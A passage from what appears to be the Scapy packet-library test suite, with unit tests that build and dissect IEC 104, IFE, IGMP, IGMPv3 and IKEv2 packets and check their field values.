frm.getlayer(IEC104_S_Message) assert s_msg assert s_msg.rx_seq_num == 7521 s_msg = frm.getlayer(IEC104_S_Message, nb=2) assert s_msg assert s_msg.rx_seq_num == 7649 + IEC104 U Message = single IEC104 U Message frm = Ether()/IP()/TCP()/IEC104_U_Message(startdt_act = 1, stopdt_con = 1, testfr_act=1) frm = Ether(frm.do_build()) u_msg = frm.getlayer(IEC104_U_Message) assert u_msg assert u_msg.startdt_act == 1 assert u_msg.startdt_con == 0 assert u_msg.stopdt_con == 1 assert u_msg.stopdt_act == 0 assert u_msg.testfr_act == 1 assert u_msg.testfr_con == 0 u_msg_tst_act = b'\x68\x04\x43\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_tst_act) assert u_msg.testfr_act == 1 u_msg_tst_con = b'\x68\x04\x83\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_tst_con) assert u_msg.testfr_con == 1 u_msg_startdt_act = b'\x68\x04\x07\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_startdt_act) assert u_msg.startdt_act == 1 u_msg_startdt_con = b'\x68\x04\x0b\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_startdt_con) assert u_msg.startdt_con == 1 u_msg_stopdt_act = b'\x68\x04\x13\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_stopdt_act) assert u_msg.stopdt_act == 1 u_msg_stopdt_con = b'\x68\x04\x23\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_stopdt_con) assert u_msg.stopdt_con == 1 = double IEC104 U Message frm = Ether()/IP()/TCP()/\ IEC104_U_Message(startdt_act = 1, stopdt_con = 1, testfr_act=1)/\ IEC104_U_Message(startdt_con = 1, stopdt_act = 1, testfr_con=1) frm = Ether(frm.do_build()) u_msg = frm.getlayer(IEC104_U_Message) assert u_msg assert u_msg.startdt_act == 1 assert u_msg.stopdt_con == 1 assert u_msg.testfr_act == 1 u_msg = frm.getlayer(IEC104_U_Message, nb=2) assert u_msg assert u_msg.startdt_con == 1 assert u_msg.stopdt_act == 1 assert u_msg.testfr_con == 1 + IEC104 I Message = Sequence IOA, single IO - information object types dissection for io_id in IEC104_IO_CLASSES: io_class = IEC104_IO_CLASSES[io_id] frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SeqIOA(io=io_class()) frm = Ether(frm.do_build()) io_layer = frm.getlayer(io_class) assert io_layer = Single IOA, single IO - information object types dissection for io_id in IEC104_IO_WITH_IOA_CLASSES: io_class = IEC104_IO_WITH_IOA_CLASSES[io_id] frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SingleIOA(io=io_class()) frm = Ether(frm.do_build()) io_layer = frm.getlayer(io_class) assert io_layer = Sequence IOA, multiple IOs - information object types dissection frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SeqIOA(information_object_address=1234, io=[IEC104_IO_C_RC_TA_1(minutes = 1, sec_milli = 2),IEC104_IO_C_RC_TA_1(minutes = 3, sec_milli = 4)]) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA) assert i_msg_lyr assert i_msg_lyr.information_object_address == 1234 m_sp_ta_1_lyr = i_msg_lyr.io[0] assert (m_sp_ta_1_lyr.minutes == 1) assert (m_sp_ta_1_lyr.sec_milli == 2) m_sp_ta_1_lyr = i_msg_lyr.io[1] assert (m_sp_ta_1_lyr.minutes == 3) assert (m_sp_ta_1_lyr.sec_milli == 4) = Single IOA, multiple IOs - information object types dissection frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=1111, minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1_IOA(information_object_address=2222,minutes = 3, sec_milli = 4)]) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA) assert i_msg_lyr m_sp_ta_1_lyr = i_msg_lyr.io[0] assert (m_sp_ta_1_lyr.information_object_address==1111) assert (m_sp_ta_1_lyr.minutes == 1) assert (m_sp_ta_1_lyr.sec_milli == 2) m_sp_ta_1_lyr = i_msg_lyr.io[1] assert (m_sp_ta_1_lyr.information_object_address==2222) assert (m_sp_ta_1_lyr.minutes == 3) assert (m_sp_ta_1_lyr.sec_milli == 4) = Sequence IOA, multiple APDUs frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SeqIOA(information_object_address=1234, io=[IEC104_IO_C_RC_TA_1(minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1(minutes = 3, sec_milli = 4)])/ \ IEC104_I_Message_SeqIOA(information_object_address=5432, io=[IEC104_IO_C_RC_TA_1(minutes = 5, sec_milli = 6), IEC104_IO_C_RC_TA_1(minutes = 7, sec_milli = 8)]) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=1) assert i_msg_lyr assert (i_msg_lyr.information_object_address == 1234) assert len(i_msg_lyr.io) == 2 assert i_msg_lyr.io[0].minutes == 1 assert i_msg_lyr.io[0].sec_milli == 2 assert i_msg_lyr.io[1].minutes == 3 assert i_msg_lyr.io[1].sec_milli == 4 i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) assert i_msg_lyr assert (i_msg_lyr.information_object_address == 5432) assert len(i_msg_lyr.io) == 2 assert i_msg_lyr.io[0].minutes == 5 assert i_msg_lyr.io[0].sec_milli == 6 assert i_msg_lyr.io[1].minutes == 7 assert i_msg_lyr.io[1].sec_milli == 8 = Single IOA, multiple APDUs frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=1111, minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1_IOA(information_object_address=2222, minutes = 3, sec_milli = 4)])/ \ IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=3333, minutes = 5, sec_milli = 6), IEC104_IO_C_RC_TA_1_IOA(information_object_address=4444, minutes = 7, sec_milli = 8)]) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=1) assert i_msg_lyr assert len(i_msg_lyr.io) == 2 assert (i_msg_lyr.io[0].information_object_address == 1111) assert i_msg_lyr.io[0].minutes == 1 assert i_msg_lyr.io[0].sec_milli == 2 assert (i_msg_lyr.io[1].information_object_address == 2222) assert i_msg_lyr.io[1].minutes == 3 assert i_msg_lyr.io[1].sec_milli == 4 i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=2) assert i_msg_lyr assert len(i_msg_lyr.io) == 2 assert (i_msg_lyr.io[0].information_object_address == 3333) assert i_msg_lyr.io[0].minutes == 5 assert i_msg_lyr.io[0].sec_milli == 6 assert (i_msg_lyr.io[1].information_object_address == 4444) assert i_msg_lyr.io[1].minutes == 7 assert i_msg_lyr.io[1].sec_milli == 8 = Mixed Single and Sequence IOA, multiple APDU frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SeqIOA(information_object_address=1111, io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 4)])/ \ IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=3333, minutes = 5, sec_milli = 6), IEC104_IO_C_RC_TA_1_IOA(information_object_address=4444, minutes = 7, sec_milli = 8)])/ \ IEC104_I_Message_SeqIOA(information_object_address=5555, io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 9), IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 10)])/ \ IEC104_I_Message_SingleIOA(io=IEC104_IO_C_RP_NA_1_IOA(information_object_address=5555)) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=1) assert i_msg_lyr assert (i_msg_lyr.information_object_address == 1111) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) assert i_msg_lyr assert (i_msg_lyr.information_object_address == 5555) i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=1) assert i_msg_lyr assert (i_msg_lyr.io[0].information_object_address == 3333) + mixed APDU types in one packet = I/U/S Message sequence (mixed APDUs) frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SeqIOA(information_object_address=1111, rx_seq_num=1234, tx_seq_num=6789, io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 4)])/\ IEC104_U_Message()/ \ IEC104_S_Message(rx_seq_num=666) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert i_msg u_msg = frm.getlayer(IEC104_U_Message) assert u_msg s_msg = frm.getlayer(IEC104_S_Message) assert s_msg + information elements & objects = ASDU allowed in given standard (examples) layer = IEC104_IO_M_SP_NA_1() assert layer.defined_for_iec_101() is True assert layer.defined_for_iec_104() is True layer = IEC104_IO_M_DP_TA_1() assert layer.defined_for_iec_101() is True assert layer.defined_for_iec_104() is False layer = IEC104_IO_C_SC_TA_1() assert layer.defined_for_iec_101() is False assert layer.defined_for_iec_104() is True = BCR - binary counter reading / IEC104_IO_M_IT_NA_1 - integrated totals # (counter , sequence) test data values = [(1, 1), (1111, 17), (23456, 21), (31234, 30), (32767, 31)] m_it_na = [] for value, sequence in values: m_it_na.append(IEC104_IO_M_IT_NA_1(counter_value=value, sq=sequence)) frm = Ether()/IP()/TCP()/IEC104_I_Message_SeqIOA(io=m_it_na) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert i_msg for idx, value in enumerate(values): value, sequence = value assert i_msg.io[idx].counter_value == value assert (i_msg.io[idx].sq == sequence) = DIQ - double-point information with quality descriptor / IEC104_IO_M_DP_NA_1 - double-point information without time tag frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(io=IEC104_IO_M_DP_NA_1(dpi_value=IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED)) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert i_msg assert i_msg.io[0].dpi_value==IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED = VTI - value with transient state indication / IEC104_IO_M_ST_NA_1 - step position information values = [0, 1, 2, 62, 63, -1, -2, -63, -64] m_st_na_1 = [] for value in values: m_st_na_1.append(IEC104_IO_M_ST_NA_1(value=value)) frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(io=m_st_na_1) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert (i_msg) for idx, value in enumerate(values): assert (i_msg.io[idx].value == value) = IEC104_IO_C_RD_NA_1 - read command (zero byte field) frm = Ether() / IP() / TCP() / IEC104_I_Message_SeqIOA(information_object_address=0x112233, io=[ IEC104_IO_C_RD_NA_1(), IEC104_IO_C_RD_NA_1() ])/ \ IEC104_I_Message_SeqIOA(information_object_address=0x445566, io=[IEC104_IO_M_DP_NA_1(dpi_value=IEC104_IE_DIQ.DPI_FLAG_STATE_UNDEFINED)])/ \ IEC104_I_Message_SeqIOA(information_object_address=0x445567, io=[IEC104_IO_C_RD_NA_1()]) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert (i_msg) assert (i_msg.information_object_address == 0x112233) assert (len(i_msg.io) == 2) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) assert (i_msg) assert (i_msg.information_object_address == 0x445566) ================================================ FILE: test/contrib/ife.uts ================================================ % IFE test campaign # # execute test: # > test/run_tests -P "load_contrib('ife')" -t test/contrib/ife.uts # + Basic layer handling = build basic IFE frames frm = Ether()/IFE(tlvs=[IFESKBMark(value=3), IFETCIndex(value=5)]) frm = Ether(bytes(frm)) assert IFE in frm assert frm[IFE].tlvs[0].type == 1 assert frm[IFE].tlvs[0].length == 8 assert frm[IFE].tlvs[0].value == 3 assert frm[IFE].tlvs[1].type == 5 assert frm[IFE].tlvs[1].length == 6 assert frm[IFE].tlvs[1].value == 5 = add padding if required frm = Ether()/IFE(tlvs=[IFETCIndex()]) assert len(raw(frm)) == 24 frm = Ether()/IFE(tlvs=[IFESKBMark(), IFETCIndex()]) assert len(raw(frm)) == 32 = variable payload frm = Ether(src="aa:aa:aa:aa:aa:aa", dst="bb:bb:bb:bb:bb:bb")/IFE(tlvs=[IFETlvStr(b"testsr")]) assert bytes(frm) == b'\xbb\xbb\xbb\xbb\xbb\xbb\xaa\xaa\xaa\xaa\xaa\xaa\xed>\x00\x08testsr' ================================================ FILE: test/contrib/igmp.uts ================================================ ############ % IGMP tests ############ + Basic IGMP tests = Build IGMP - Basic a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(gaddr="0.0.0.0") x = a/b/c x[IGMP].igmpize() assert x.mrcode == 20 assert x[IP].dst == "224.0.0.1" = Build IGMP - Custom membership a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(gaddr="224.0.1.2") x = a/b/c x[IGMP].igmpize() assert x.mrcode == 20 assert x[IP].dst == "224.0.1.2" = Build IGMP - LG a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMP(type=0x17, gaddr="224.2.3.4") x = a/b/c x[IGMP].igmpize() assert x.dst == "01:00:5e:00:00:02" assert x.mrcode == 0 assert x[IP].dst == "224.0.0.2" = Change IGMP params x = Ether(src="00:01:02:03:04:05")/IP()/IGMP() x[IGMP].igmpize() assert x.mrcode == 20 assert x[IP].dst == "224.0.0.1" x = Ether(src="00:01:02:03:04:05")/IP()/IGMP(gaddr="224.2.3.4", type=0x12) x.mrcode = 1 x[IGMP].igmpize() x = Ether(raw(x)) assert x.mrcode == 0 x.gaddr = "224.3.2.4" x[IGMP].igmpize() assert x.dst == "01:00:5e:03:02:04" x.ttl = 64 x[IGMP].igmpize() assert x.ttl == 1 = Test mysummary x = Ether(src="00:01:02:03:04:05")/IP(src="192.168.0.1")/IGMP(gaddr="224.0.0.2", type=0x17) x[IGMP].igmpize() assert x[IGMP].mysummary() == "IGMP: 192.168.0.1 > 224.0.0.2 Leave Group 224.0.0.2" assert IGMP().mysummary() == "IGMP Group Membership Query 0.0.0.0" = IGMP - misc ~ netaccess x = Ether(src="00:01:02:03:04:05")/IP(dst="192.168.0.1")/IGMP(gaddr="www.google.fr", type=0x11) x = Ether(raw(x)) assert not x[IGMP].igmpize() assert x[IP].dst == "192.168.0.1" x = Ether(src="00:01:02:03:04:05")/IP(dst="192.168.0.1")/IGMP(gaddr="124.0.2.1", type=0x00) assert not x[IGMP].igmpize() assert x[IP].dst == "192.168.0.1" ================================================ FILE: test/contrib/igmpv3.uts ================================================ ############## % IGMPv3 tests ############## + Basic IGMPv3 tests = Build IGMPv3 - Basic a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMPv3(mrcode=154)/IGMPv3mq() x = a/b/c x[IGMPv3].igmpize() assert x.mrcode == 131 assert x[IP].dst == "224.0.0.1" assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) = Build IGMPv3 - igmpize a=Ether(src="00:01:02:03:04:05") b=IP(src="1.2.3.4") c=IGMPv3()/IGMPv3mr(records = [IGMPv3gr(maddr = "232.1.1.10", srcaddrs = ["10.0.0.10"])]) x = a/b/c ret = x[IGMPv3].igmpize() assert ret = Dissect IGMPv3 - IGMPv3mq x = Ether(b'\x14\x0cv\x8f\xfe(\x00\x01\x02\x03\x04\x05\x08\x00F\xc0\x00$\x00\x01\x00\x00\x01\x02\xe4h\xc0\xa8\x00\x01\xe0\x00\x00\x16\x94\x04\x00\x00\x11\x14\x0e\xe9\xe6\x00\x00\x02\x00\x00\x00\x00') assert IGMPv3 in x assert IGMPv3mq in x assert x[IGMPv3mq].gaddr == "230.0.0.2" assert x.summary() == "Ether / IP / IGMPv3: 192.168.0.1 > 224.0.0.22 Membership Query / IGMPv3mq" assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) = Dissect IGMPv3 - IGMPv3mr x = Ether(b'\x01\x00^\x00\x00\x16\xa8\xf9K\x00\x00\x01\x08\x00E\xc0\x00D\x00\x01\x00\x00\x01\x02\xd6\xdf\x01\x01\x01\x01\xe0\x00\x00\x16"\x00;\xa6\x00\x00\x00\x04\x01\x00\x00\x02\xe6\x00\x00\x00\xc0\xa8\x00\x01\xc0\xa8\x84\xf7\x01\x00\x00\x00\xe6\x00\x00\x01\x01\x00\x00\x00\xe6\x00\x00\x02\x01\x00\x00\x00\xe6\x00\x00\x03') assert IGMPv3 in x assert IGMPv3mr in x assert len(x[IGMPv3mr].records) == 4 assert x[IGMPv3mr].records[0].srcaddrs == ["192.168.0.1", "192.168.132.247"] assert x[IGMPv3mr].records[1].maddr == "230.0.0.1" assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) = Dissect IGMPv3 - IGMPv3mra x = Ether(b'\x14\x0cv\x8f\xfe(\x00\x01\x02\x03\x04\x05\x08\x00F\xc0\x00 \x00\x01\x00\x00\x01\x02\xe4l\xc0\xa8\x00\x01\x7f\x00\x00\x01\x94\x04\x00\x000\x14\xcf\xe6\x00\x03\x00\x02') assert IGMPv3 in x assert IGMPv3mra in x assert x[IGMPv3mra].qryIntvl == 3 assert x[IGMPv3mra].robust == 2 assert isinstance(IGMP(raw(x[IGMPv3])), IGMPv3) = IGMP vs IVMPv3 tests assert isinstance(IGMPv3(raw(IGMP())), IGMP) assert isinstance(IGMPv3(raw(IGMP(type=0x11))), IGMP) assert isinstance(IGMP(raw(IGMPv3()/IGMPv3mra())), IGMPv3) assert isinstance(IGMP(raw(IGMPv3()/IGMPv3mq())), IGMPv3) = IGMPv3 - summaries pkt = IGMPv3()/IGMPv3mr(records=[IGMPv3gr(maddr="127.0.0.1")]) assert pkt.summary() == 'IGMPv3 Version 3 Membership Report / IGMPv3mr' ================================================ FILE: test/contrib/ikev2.uts ================================================ % Ikev2 unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('ikev2')" -t test/contrib/ikev2.uts * Tests for the Ikev2 layer + Basic Layer Tests = Ikev2 build a = IKEv2() assert raw(a) == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c' = Ikev2 dissection a = IKEv2(b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! \x00\x00\x00\x00\x00\x00\x00\x00\x000\x00\x00\x00\x14\x00\x00\x00\x10\x01\x01\x00\x00\x00\x00\x00\x08\x02\x00\x00\x03") assert a[IKEv2_Transform].transform_type == 2 assert a[IKEv2_Transform].transform_id == 3 assert a.next_payload == 33 assert a[IKEv2_SA].next_payload == 0 assert a[IKEv2_Proposal].next_payload == 0 assert a[IKEv2_Proposal].proposal == 1 assert a[IKEv2_Transform].next_payload == 0 a[IKEv2_Transform].show() = Build Ikev2 SA request packet a = IKEv2(init_SPI="MySPI",exch_type=34)/IKEv2_SA(flags="critical", prop=IKEv2_Proposal()) assert raw(a) == b'MySPI\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00! "\x00\x00\x00\x00\x00\x00\x00\x00(\x00\x80\x00\x0c\x00\x00\x00\x08\x01\x01\x00\x00' = Build advanced IKEv2 import binascii key_exchange = binascii.unhexlify('bb41bb41cfaf34e3b3209672aef1c51b9d52919f1781d0b4cd889d4aafe261688776000c3d9031505aefc0186967eaf5a7663725fb102c59c39b7a70d8d9161c3bd0eb445888b5028ea063ba0ae01f5b3f30808a6b6710dc9bab601e4116157d7f58cf835cb633c64abcb3a5c61c223e9332538bfc9f282cb62d1f00f4ee8802') nonce = binascii.unhexlify('8dfcf8384c5c32f1b294c64eab69f98e9d8cf7e7f352971a91ff6777d47dffed') nat_detection_source_ip = binascii.unhexlify('e64c81c4152ad83bd6e035009fbb900406be371f') nat_detection_destination_ip = binascii.unhexlify('28cd99b9fa1267654b53f60887c9c35bcf67a8ff') transform_1 = IKEv2_Transform(next_payload = 'Transform', transform_type = 'Encryption', transform_id = 12, length = 12, key_length = 0x80) transform_2 = IKEv2_Transform(next_payload = 'Transform', transform_type = 'PRF', transform_id = 2) transform_3 = IKEv2_Transform(next_payload = 'Transform', transform_type = 'Integrity', transform_id = 2) transform_4 = IKEv2_Transform(next_payload = 'None', transform_type = 'GroupDesc', transform_id = 2) packet = IP(dst = '192.168.1.10', src = '192.168.1.130') /\ UDP(dport = 500) /\ IKEv2(init_SPI = b'KWdxMhjA', next_payload = 'SA', exch_type = 'IKE_SA_INIT', flags='Initiator') /\ IKEv2_SA(next_payload = 'KE', prop = IKEv2_Proposal(trans_nb = 4, trans = transform_1 / transform_2 / transform_3 / transform_4, )) /\ IKEv2_KE(next_payload = 'Nonce', group = '1024MODPgr', ke = key_exchange) /\ IKEv2_Nonce(next_payload = 'Notify', nonce = nonce) /\ IKEv2_Notify(next_payload = 'Notify', type = 16388, notify = nat_detection_source_ip) /\ IKEv2_Notify(next_payload = 'None', type = 16389, notify = nat_detection_destination_ip) assert raw(packet) == b'E\x00\x01L\x00\x01\x00\x00@\x11\xf5\xc3\xc0\xa8\x01\x82\xc0\xa8\x01\n\x01\xf4\x01\xf4\x018\xa6\xc0KWdxMhjA\x00\x00\x00\x00\x00\x00\x00\x00! "\x08\x00\x00\x00\x00\x00\x00\x010"\x00\x000\x00\x00\x00,\x01\x01\x00\x04\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x02\x00\x00\x00\x08\x04\x00\x00\x02(\x00\x00\x88\x00\x02\x00\x00\xbbA\xbbA\xcf\xaf4\xe3\xb3 \x96r\xae\xf1\xc5\x1b\x9dR\x91\x9f\x17\x81\xd0\xb4\xcd\x88\x9dJ\xaf\xe2ah\x87v\x00\x0c=\x901PZ\xef\xc0\x18ig\xea\xf5\xa7f7%\xfb\x10,Y\xc3\x9bzp\xd8\xd9\x16\x1c;\xd0\xebDX\x88\xb5\x02\x8e\xa0c\xba\n\xe0\x1f[?0\x80\x8akg\x10\xdc\x9b\xab`\x1eA\x16\x15}\x7fX\xcf\x83\\\xb63\xc6J\xbc\xb3\xa5\xc6\x1c">\x932S\x8b\xfc\x9f(,\xb6-\x1f\x00\xf4\xee\x88\x02)\x00\x00$\x8d\xfc\xf88L\\2\xf1\xb2\x94\xc6N\xabi\xf9\x8e\x9d\x8c\xf7\xe7\xf3R\x97\x1a\x91\xffgw\xd4}\xff\xed)\x00\x00\x1c\x00\x00@\x04\xe6L\x81\xc4\x15*\xd8;\xd6\xe05\x00\x9f\xbb\x90\x04\x06\xbe7\x1f\x00\x00\x00\x1c\x00\x00@\x05(\xcd\x99\xb9\xfa\x12geKS\xf6\x08\x87\xc9\xc3[\xcfg\xa8\xff' ## packets taken from ## https://github.com/wireshark/wireshark/blob/master/test/captures/ikev2-decrypt-aes128ccm12.pcap = Dissect Initiator Request a = Ether(b'\x00!k\x91#H\xb8\'\xeb\xa6XI\x08\x00E\x00\x01\x14u\xc2@\x00@\x11@\xb6\xc0\xa8\x01\x02\xc0\xa8\x01\x0e\x01\xf4\x01\xf4\x01\x00=8\xeahM!Yz\xfd6\x00\x00\x00\x00\x00\x00\x00\x00! "\x08\x00\x00\x00\x00\x00\x00\x00\xf8"\x00\x00(\x00\x00\x00$\x01\x01\x00\x03\x03\x00\x00\x0c\x01\x00\x00\x0f\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x13(\x00\x00H\x00\x13\x00\x002\xc6\xdf\xfe\\C\xb0\xd5\x81\x1f~\xaa\xa8L\x9fx\xbf\x99\xb9\x06\x9c+\x07.\x0b\x82\xf4k\xf6\xf6m\xd4_\x97\xef\x89\xee(_\xd5\xdfRzDwkR\x9f\xc9\xd8\xa9\t\xd8B\xa6\xfbY\xb9j\tS\x95ar)\x00\x00$\xb6UF-oKf\xf8r\xcc\xd7\xf0\xf4\xb4\x85w2\x92\x139\xcb\xaaR7\xed\xba$O&+h#)\x00\x00\x1c\x00\x00@\x04\x94\x9c\x9d\xb5s\x9du\xa9t\xa4\x9c\x18F\x186\x9b4\xb7\xf9B)\x00\x00\x1c\x00\x00@\x05>r\x1bF\xbe\x07\xd51\x11B]\x7f\x80\xd2\xc6\xe2 \xc6\x07.\x00\x00\x00\x10\x00\x00@/\x00\x01\x00\x02\x00\x03\x00\x04') assert a[IKEv2_SA].prop.trans.transform_id == 15 assert a[IKEv2_Notify].next_payload == 41 assert IP(a[IKEv2_Notify].notify).src == "70.24.54.155" assert IP(a[IKEv2_Notify].payload.notify).dst == "32.198.7.46" = Dissect Responder Response b = Ether(b'\xb8\'\xeb\xa6XI\x00!k\x91#H\x08\x00E\x00\x01\x0c\xd2R@\x00@\x11\xe4-\xc0\xa8\x01\x0e\xc0\xa8\x01\x02\x01\xf4\x01\xf4\x00\xf8\x07\xdd\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac! " \x00\x00\x00\x00\x00\x00\x00\xf0"\x00\x00(\x00\x00\x00$\x01\x01\x00\x03\x03\x00\x00\x0c\x01\x00\x00\x0f\x80\x0e\x00\x80\x03\x00\x00\x08\x02\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x13(\x00\x00H\x00\x13\x00\x00,f\xbe\xad\xb6\xce\x855\xd6!\x8c\xb4\x01\xaaZ\x1e\xb4\x03[\x97\xca\xdd\xaf67J\x97\x9c\x04F\xb8\x80\x05\x06\xbf\x9do\x95\tR2k\xf3\x01\x19\x13\xda\x93\xbb\x8e@\xf8\x157k\xe1\xa0h\x01\xc0\xa6>;T)\x00\x00$\x9e]&sy\xe6\x81\xe7\xd3\x8d\x81\xc7\x10\xd3\x83@\x1d\xe7\xe3`{\x92m\x90\xa9\x95\x8a\xdc\xb5(1\xaa)\x00\x00\x1c\x00\x00@\x04z\x07\x85\'=Y 8)\xa6\x97U\x0f1\xcb\xb9N\xb7+C)\x00\x00\x1c\x00\x00@\x05\xc3\xe5\x8a\x8c\xc9\x93<\xe0\xb7\x8f*P\xe8\xde\x80\x13N\x12\xce1\x00\x00\x00\x08\x00\x00@\x14') assert b[UDP].dport == 500 assert b[IKEv2_KE].ke == b',f\xbe\xad\xb6\xce\x855\xd6!\x8c\xb4\x01\xaaZ\x1e\xb4\x03[\x97\xca\xdd\xaf67J\x97\x9c\x04F\xb8\x80\x05\x06\xbf\x9do\x95\tR2k\xf3\x01\x19\x13\xda\x93\xbb\x8e@\xf8\x157k\xe1\xa0h\x01\xc0\xa6>;T' assert b[IKEv2_Nonce].payload.type == 16388 assert b[IKEv2_Nonce].payload.payload.payload.next_payload == 0 = Dissect Encrypted Initiator Request a = Ether(b"\x00!k\x91#H\xb8'\xeb\xa6XI\x08\x00E\x00\x00Yu\xe2@\x00@\x11AQ\xc0\xa8\x01\x02\xc0\xa8\x01\x0e\x01\xf4\x01\xf4\x00E}\xe0\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac. %\x08\x00\x00\x00\x02\x00\x00\x00=*\x00\x00!\xcc\xa0\xb3]\xe5\xab\xc5\x1c\x99\x87\xcb\xf1\xf5\xec\xff!\x0e\xb7g\xcd\xb8Qy8;\x96Mx\xe2") assert a[IKEv2_Encrypted].next_payload == 42 assert a[IKEv2_Encrypted].load == b'\xcc\xa0\xb3]\xe5\xab\xc5\x1c\x99\x87\xcb\xf1\xf5\xec\xff!\x0e\xb7g\xcd\xb8Qy8;\x96Mx\xe2' = Dissect Encrypted Responder Response b = Ether(b"\xb8'\xeb\xa6XI\x00!k\x91#H\x08\x00E\x00\x00Q\xd5y@\x00@\x11\xe1\xc1\xc0\xa8\x01\x0e\xc0\xa8\x01\x02\x01\xf4\x01\xf4\x00=\xf9F\xeahM!Yz\xfd6\xd9\xfe*\xb2-\xac#\xac. % \x00\x00\x00\x02\x00\x00\x005\x00\x00\x00\x19\xa8\x0c\x95{\xac\x15\xc3\xf8\xaf\xdf1Z\x81\xccK|@\xe8f\rD") assert b[IKEv2].init_SPI == b'\xeahM!Yz\xfd6' assert b[IKEv2].resp_SPI == b'\xd9\xfe*\xb2-\xac#\xac' assert b[IKEv2].next_payload == 46 assert b[IKEv2_Encrypted].load == b'\xa8\x0c\x95{\xac\x15\xc3\xf8\xaf\xdf1Z\x81\xccK|@\xe8f\rD' = Test Certs detection a = IKEv2_CERT(raw(IKEv2_CERT(cert_encoding = "X.509 Certificate - Signature"))) b = IKEv2_CERT(raw(IKEv2_CERT(cert_encoding ="Certificate Revocation List (CRL)"))) c = IKEv2_CERT(raw(IKEv2_CERT(cert_encoding = 0))) assert a.cert_encoding == 4 assert isinstance(a.cert_data, X509_Cert) assert b.cert_encoding == 7 assert isinstance(b.cert_data, X509_CRL) assert c.cert_encoding == 0 assert isinstance(c.cert_data, bytes) = Test Certs length calculations ## For the length calculations see Figure 12 in RFC 7296 assert a.length == len(a.cert_data) + 5 assert b.length == len(b.cert_data) + 5 assert c.length == len(c.cert_data) + 5 = Test TrafficSelector detection a = TrafficSelector(raw(IPv4TrafficSelector())) b = TrafficSelector(raw(IPv6TrafficSelector())) c = 